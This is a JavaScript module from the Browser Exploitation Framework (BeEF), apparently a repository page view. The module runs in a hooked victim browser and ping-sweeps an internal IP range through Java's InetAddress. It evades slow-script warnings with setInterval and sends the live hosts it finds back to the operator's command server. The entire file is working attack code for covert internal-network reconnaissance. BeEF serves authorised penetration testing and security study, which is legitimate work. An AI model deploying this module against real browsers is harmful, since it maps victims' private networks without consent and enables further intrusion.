Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/ping_sweep_ff/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
beef.execute(function() {
9
10
var ips = new Array();
11
var ipRange = "<%= @ipRange %>";
12
var timeout = "<%= @timeout %>";
13
var delay = parseInt(timeout) + parseInt("<%= @delay %>");
14
var verbose=false; /* enable for debug */
15
16
// ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.
17
// Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]
18
// (only C class IPs are supported atm). Same code as internal_network_fingerprinting module
19
var ipBounds = ipRange.split('-');
20
var ipToTest;
21
if(ipBounds.length>1) {
22
var lowerBound = parseInt(ipBounds[0].split('.')[3]);
23
var upperBound = parseInt(ipBounds[1].split('.')[3]);
24
25
for(i=lowerBound;i<=upperBound;i++){
26
ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i
27
ips.push(ipToTest);
28
}
29
} else {
30
ipToTest = ipBounds[0]
31
ips.push(ipToTest);
32
}
33
34
if(ips.length==1) verbose=true;
35
36
37
function do_scan(host, timeout) {
38
var status=false;
39
var ping="";
40
41
try {
42
status = java.net.InetAddress.getByName(host).isReachable(timeout);
43
} catch(e) { /*handle exception...? */ }
44
45
if (status) {
46
ping = host + " is alive!";
47
} else if(verbose) {
48
ping = host + " is not alive";
49
}
50
return ping;
51
}
52
53
54
// call do_scan for each ip
55
// use of setInterval trick to avoid slow script warnings
56
var i=0;
57
if(ips.length>1) {
58
var int_id = setInterval( function() {
59
var host = do_scan(ips[i++],timeout);
60
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());
61
if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
62
}, delay);
63
} else {
64
var host = do_scan(ips[i],timeout);
65
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
66
}
67
68
});
69
70
71